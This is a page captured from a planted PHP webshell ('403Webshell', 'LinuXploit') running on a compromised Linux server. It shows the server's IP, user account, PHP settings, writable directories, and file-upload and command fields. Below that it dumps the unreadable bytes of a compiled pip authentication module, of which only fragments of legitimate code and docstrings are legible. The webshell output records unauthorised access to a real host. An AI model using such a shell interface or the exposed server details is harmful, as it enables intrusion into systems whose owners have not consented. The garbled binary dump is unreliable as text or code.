403Webshell
Server IP : 217.160.0.135  /  Your IP : 216.73.217.85
Web Server : Apache
System : Linux www 6.18.52-i1-ampere #1203 SMP Mon Sep 14 18:29:59 CEST 2026 aarch64
User : sws1074145052 ( 1074145052)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/pip/_internal/network/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/pip/_internal/network/__pycache__/auth.cpython-311.pyc
�

�/�c{@���dZddlZddlZddlZddlZddlmZmZddl	m
Z
mZmZm
Z
mZmZddlmZmZddlmZmZddlmZddlmZdd	lmZmZmZmZmZdd
l m!Z!ee"��Z#da$Gd�d
e
��Z%Gd�de��Z&Gd�de&��Z'Gd�de&��Z(Gd�de&��Z)de&fd�Z*dee+dee+dee!fd�Z,Gd�de��Z-dS)z�Network Authentication Helpers

Contains interface (MultiDomainBasicAuth) and associated glue code for
providing credentials in the context of network requests.
�N)�ABC�abstractmethod)�Any�Dict�List�
NamedTuple�Optional�Tuple)�AuthBase�
HTTPBasicAuth)�Request�Response)�get_netrc_auth)�	getLogger)�ask�	ask_input�ask_password�remove_auth_from_url�split_auth_netloc_from_url)�AuthInfoFc�.�eZdZUeed<eed<eed<dS)�Credentials�url�username�passwordN)�__name__�
__module__�__qualname__�str�__annotations__���</usr/lib/python3/dist-packages/pip/_internal/network/auth.pyrr!s+�������	�H�H�H��M�M�M��M�M�M�M�Mr"rc	�v�eZdZdZededeedeefd���Zededededdfd���Z	dS)	�KeyRingBaseProviderzKeyring base provider interfacerr�returnc��dS�Nr!��selfrrs   r#�
get_auth_infoz!KeyRingBaseProvider.get_auth_info*����r"rNc��dSr(r!�r*rrrs    r#�save_auth_infoz"KeyRingBaseProvider.save_auth_info.r,r")
rrr�__doc__rrr	rr+r/r!r"r#r%r%'s�������)�)�������
��(�8�BT�����^����#�����������^���r"r%c�V�eZdZdZdedeedeefd�Zdedededdfd�ZdS)	�KeyRingNullProviderzKeyring null providerrrr&c��dSr(r!r)s   r#r+z!KeyRingNullProvider.get_auth_info6����tr"rNc��dSr(r!r.s    r#r/z"KeyRingNullProvider.save_auth_info9r4r")	rrrr0rr	rr+r/r!r"r#r2r23s|�������������
��(�8�BT������#������������r"r2c�^�eZdZdZd
d�Zdedeedeefd�Zdedededdfd	�Z	dS)�KeyRingPythonProviderz7Keyring interface which uses locally imported `keyring`r&Nc��ddl}||_dS)Nr��keyring)r*r:s  r#�__init__zKeyRingPythonProvider.__init__@s����������r"rrc�<�t|jd��rHt�d|��|j�||��}|�|j|jfSdS|�<t�d|��|j�||��}|r||fSdS)N�get_credentialz'Getting credentials from keyring for %sz$Getting password from keyring for %s)�hasattrr:�logger�debugr=rr�get_password)r*rr�credrs     r#r+z#KeyRingPythonProvider.get_auth_infoEs����4�<�!1�2�2�	��L�L�B�C�H�H�H��<�.�.�s�H�=�=�D����}�d�m�3�3��4����L�L�?��E�E�E��|�0�0��h�?�?�H��
*���)�)��tr"rc�>�|j�|||��dSr()r:�set_passwordr.s    r#r/z$KeyRingPythonProvider.save_auth_infoWs"����!�!�#�x��:�:�:�:�:r")r&N)
rrrr0r;rr	rr+r/r!r"r#r7r7=s�������A�A�����
�����
��(�8�BT�����$;�#�;��;��;��;�;�;�;�;�;r"r7c��eZdZdZdeddfd�Zdedeedeefd�Zdeded	eddfd
�Z	dededeefd�Z
deded	eddfd
�ZdS)�KeyRingCliProviderz�Provider which uses `keyring` cli

    Instead of calling the keyring package installed alongside pip
    we call keyring on the command line which will enable pip to
    use which ever installation of keyring is available first in
    PATH.
    �cmdr&Nc��||_dSr(r9)r*rGs  r#r;zKeyRingCliProvider.__init__ds
������r"rrc�B�|�|�||��}|�||fSdSr()�
_get_passwordr.s    r#r+z KeyRingCliProvider.get_auth_infogs5�����)�)�#�x�8�8�H��#���)�)��tr"rc�0�|�|||��Sr()�
_set_passwordr.s    r#r/z!KeyRingCliProvider.save_auth_infops���!�!�#�x��:�:�:r"�service_namec�4�|j�dS|jd||g}tj���}d|d<t	j|tjd|���}|jrdS|j�	d���
tj��S)z;Mirror the implementation of keyring.get_password using cliN�get�utf-8�PYTHONIOENCODINGT)�stdin�capture_output�env)r:�os�environ�copy�
subprocess�run�DEVNULL�
returncode�stdout�decode�strip�linesep)r*rMrrGrT�ress      r#rJz KeyRingCliProvider._get_passwordss����<���4��|�U�L�(�;���j�o�o����")�����n���$���	
�
�
���>�	��4��z� � ��)�)�/�/��
�;�;�;r"c��|j�dS|jd||g}|tjz�d��}tj���}d|d<t
j|||���}|���dS)z;Mirror the implementation of keyring.set_password using cliN�setrPrQ)�inputrT)	r:rUr_�encoderVrWrXrY�check_returncode)r*rMrrrG�input_rTr`s        r#rLz KeyRingCliProvider._set_password�s����<���4��|�U�L�(�;���R�Z�'�/�/��8�8���j�o�o����")�����n�S��C�8�8�8���������tr")rrrr0rr;r	rr+r/rJrLr!r"r#rFrF[s���������C��D����������
��(�8�BT�����;�#�;��;��;��;�;�;�;�<�#�<��<��#��<�<�<�<�$�#������PT������r"rFr&c�(�ts~	t��S#t$rYn>t$r2}t�dt
|����Yd}~nd}~wwxYwtjd��}|rt|��St��S)NzdInstalled copy of keyring fails with exception %s, trying to find a keyring executable as a fallbackr:)�KEYRING_DISABLEDr7�ImportError�	Exceptionr?�warningr�shutil�whichrFr2)�exc�clis  r#�get_keyring_providerrp�s����+�	�(�*�*�*���	�	�	��D��	�	�	�
�N�N�D��C���
�
�
�
�
�
�
�
�����	�����l�9�%�%���	+�%�c�*�*�*�� � � s�
�
A�	A�(A�Arrc���|sdSt��}	|�||��S#t$r5}t�dt|����daYd}~dSd}~wwxYw)z3Return the tuple auth for a given url from keyring.Nz*Keyring is skipped due to an exception: %sT)rpr+rjr?rkrrh)rrr:rns    r#�get_keyring_authrr�s������t�"�$�$�G�	��$�$�S�(�3�3�3���������8���H�H�	
�	
�	
�
 ���t�t�t�t�t��������s�*�
A)�*A$�$A)c	�D�eZdZ	ddedeeeddfd�Zdedeefd�Z		dd
ededede	fd
�Z
d
edeeeeeeffd�Zde
de
fd�Zdedeeeeeeffd�Zdefd�Zdededefd�Zdededdfd�Zdededdfd�ZdS)�MultiDomainBasicAuthTN�	prompting�
index_urlsr&c�>�||_||_i|_d|_dSr()rurv�	passwords�_credentials_to_save)r*rurvs   r#r;zMultiDomainBasicAuth.__init__�s*��#���$���.0���<@��!�!�!r"rc��|r|jsdS|jD]@}t|���d��dz}|�|��r|cS�AdS)a�Return the original index URL matching the requested URL.

        Cached or dynamically generated credentials may work against
        the original index URL rather than just the netloc.

        The provided url should have had its username and password
        removed already. If the original index url had credentials then
        they will be included in the return value.

        Returns None if no matching index was found, or if --no-index
        was specified by the user.
        N�/)rvr�rstrip�
startswith)r*r�u�prefixs    r#�_get_index_urlz#MultiDomainBasicAuth._get_index_url�sr���	�$�/�	��4���	�	�A�)�!�,�,�3�3�C�8�8�3�>�F��~�~�f�%�%�
�����
��tr"F�original_url�allow_netrc�
allow_keyringc�P�t|��\}}}|\}}|�|�t�d|��|S|�|��}	|	r2t|	��}
|
r!|
\}	}}t�d|	��|	r.|d�&|\}}|�|�t�d|��|S|r.t	|��}
|
rt�d|��|
S|r?t|	|��pt||��}|rt�d|��|S||fS)z2Find and return credentials for the specified URL.NzFound credentials in url for %szFound index url %srz%Found credentials in index url for %sz!Found credentials in netrc for %sz#Found credentials in keyring for %s)rr?r@r�rrr)r*r�r�r�r�netloc�url_user_passwordrr�	index_url�
index_info�_�index_url_user_password�
netrc_auth�kr_auths               r#�_get_new_credentialsz)MultiDomainBasicAuth._get_new_credentials�s���*D��*
�*
�&��V�&�
/���(���H�$8��L�L�:�F�C�C�C�$�$��'�'��,�,�	��	>�3�I�>�>�J��
>�8B�5�	�1�5����1�9�=�=�=��	/�0��3�?�!8��H�h��#��(<����D�f�M�M�M�.�.��	"�'��5�5�J��
"����@�&�I�I�I�!�!��
	�!��H�5�5�3� ���2�2�
�
�
����B�F�K�K�K�����!�!r"c��t|��\}}}|�|��\}}|�|�%||jvr|j|\}}|�||kr||}}|�|�|pd}|pd}||f|j|<|�|�|�|�
Jd|�����|||fS)a_Return the credentials to use for the provided URL.

        If allowed, netrc and keyring may be used to obtain the
        correct credentials.

        Returns (url_without_credentials, username, password). Note
        that even if the original URL contains credentials, this
        function may return a different username and password.
        N�z%Could not load credentials from url: )rr�rx)	r*r�rr�r�rr�un�pws	         r#�_get_url_and_credentialsz-MultiDomainBasicAuth._get_url_and_credentialss���4�L�A�A���V�Q�"�6�6�|�D�D���(�
��� 0�f���6N�6N��^�F�+�F�B����8�r�>�>�%'��(����8�#7�
 �~�2�H��~�2�H�'/��%9�D�N�6�"��
!�h�&:�� �X�%5�%5�A�<�A�A�&6�%5�%5��H�h�&�&r"�reqc��|�|j��\}}}||_|�|�t||��|��}|�d|j��|S)N�response)r�rr�
register_hook�
handle_401)r*r�rrrs     r#�__call__zMultiDomainBasicAuth.__call__Ksj��"&�"?�"?���"H�"H���X�x������H�$8�3�-��(�3�3�C�8�8�C�	���*�d�o�6�6�6��
r"r�c��td|�d���}|sdSt||��}|r!|d�|d�|d|ddfStd��}||dfS)	Nz	User for z: )NNFr�Fz
Password: T)rrrr)r*r�r�authrs     r#�_prompt_for_passwordz)MultiDomainBasicAuth._prompt_for_password\s����3��3�3�3�4�4���	%�$�$����1�1���	+�D��G�'�D��G�,?���7�D��G�U�*�*���-�-����4�'�'r"c�N�t���dStdddg��dkS)NFz#Save credentials to keyring [y/N]: �y�n)rpr)r*s r#� _should_save_password_to_keyringz5MultiDomainBasicAuth._should_save_password_to_keyringis-���!�!�)��5��8�3��*�E�E��L�Lr"�resp�kwargsc��|jdkr|S|js|Stj�|j��}|�|jdd���\}}d}|s |s|�|j��\}}}d|_	|�E|�C||f|j
|j<|r0|���rt|j||���|_	|j
|j���t!|pd|pd��|j��}|�d|j��|j	r|�d|j��|jj|fi|��}|j�|��|S)N�FT)r�r�)rrrr�r�)�status_coderu�urllib�parse�urlparserr�r�r�ryrxr�r�content�raw�release_connr�requestr��warn_on_401�save_credentials�
connection�send�history�append)	r*r�r��parsedrr�saver��new_resps	         r#r�zMultiDomainBasicAuth.handle_401ns�����s�"�"��K��~�	��K���&�&�t�x�0�0��"�6�6��H���7�
�
���(����	P��	P�'+�'@�'@���'O�'O�$�H�h��%)��!���H�$8�-5�x�,@�D�N�6�=�)��
��=�=�?�?�
�,7��
�%�%�-�-�-��)�	
����������<�m�H�N��H�N��;�;�D�L�I�I�����*�d�&6�7�7�7�
�$�	A����j�$�*?�@�@�@�(�4�?�'��6�6�v�6�6�������%�%�%��r"c�j�|jdkr't�d|jj��dSdS)z6Response callback to warn about incorrect credentials.r�z)401 Error, Credentials not correct for %sN)r�r?rkr�r)r*r�r�s   r#r�z MultiDomainBasicAuth.warn_on_401�sC����s�"�"��N�N�;��� �
�
�
�
�
�#�"r"c�v�t��}t|t��r
Jd���|j}d|_|ry|jdkrp	t
�d��|�|j|j	|j
��dS#t$rt
�d��YdSwxYwdSdS)z1Response callback to save credentials on success.z'should never reach here without keyringNi�zSaving credentials to keyringzFailed to save credentials)
rp�
isinstancer2ryr�r?�infor/rrrrj�	exception)r*r�r�r:�credss     r#r�z%MultiDomainBasicAuth.save_credentials�s���&�(�(����(�
�
�	5�	5�4�	5�	5�	5��)��$(��!��	?�T�%��+�+�
?����;�<�<�<��&�&�u�y�%�.�%�.�Q�Q�Q�Q�Q���
?�
?�
?�� � �!=�>�>�>�>�>�>�
?����		?�	?�+�+s�
AB�$B4�3B4)TN)TF)rrr�boolr	rrr;r�rr�r
r�r
r�r�r�rrr�r�r�r!r"r#rtrt�s�������HL�@�@��@�2:�4��9�2E�@�	
�@�@�@�@��#��(�3�-�����2!�#�	6"�6"��6"��6"��	6"�

�6"�6"�6"�6"�p.'��.'�	�s�H�S�M�8�C�=�0�	1�.'�.'�.'�.'�`�G�������"
(��
(�	�x��}�h�s�m�T�1�	2�
(�
(�
(�
(�M�$�M�M�M�M�
8�x�8�3�8�8�8�8�8�8�t���C��D�����?�X�?��?��?�?�?�?�?�?r"rt).r0rUrlrX�urllib.parser��abcrr�typingrrrrr	r
�pip._vendor.requests.authrr�pip._vendor.requests.modelsr
r�pip._vendor.requests.utilsr�pip._internal.utils.loggingr�pip._internal.utils.miscrrrrr� pip._internal.vcs.versioncontrolrrr?rhrr%r2r7rFrprrrrtr!r"r#�<module>r�s�����
�	�	�	�
�
�
�
���������#�#�#�#�#�#�#�#�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�?�=�=�=�=�=�=�=�=�9�9�9�9�9�9�9�9�5�5�5�5�5�5�1�1�1�1�1�1���������������6�5�5�5�5�5�	��8�	�	���������*����	�	�	�	�	�#�	�	�	������-����;�;�;�;�;�/�;�;�;�<5�5�5�5�5�,�5�5�5�p!�1�!�!�!�!�2�(�3�-��8�C�=��X�h�EW�����&?�?�?�?�?�8�?�?�?�?�?r"

Youez - 2016 - github.com/yon3zu
LinuXploit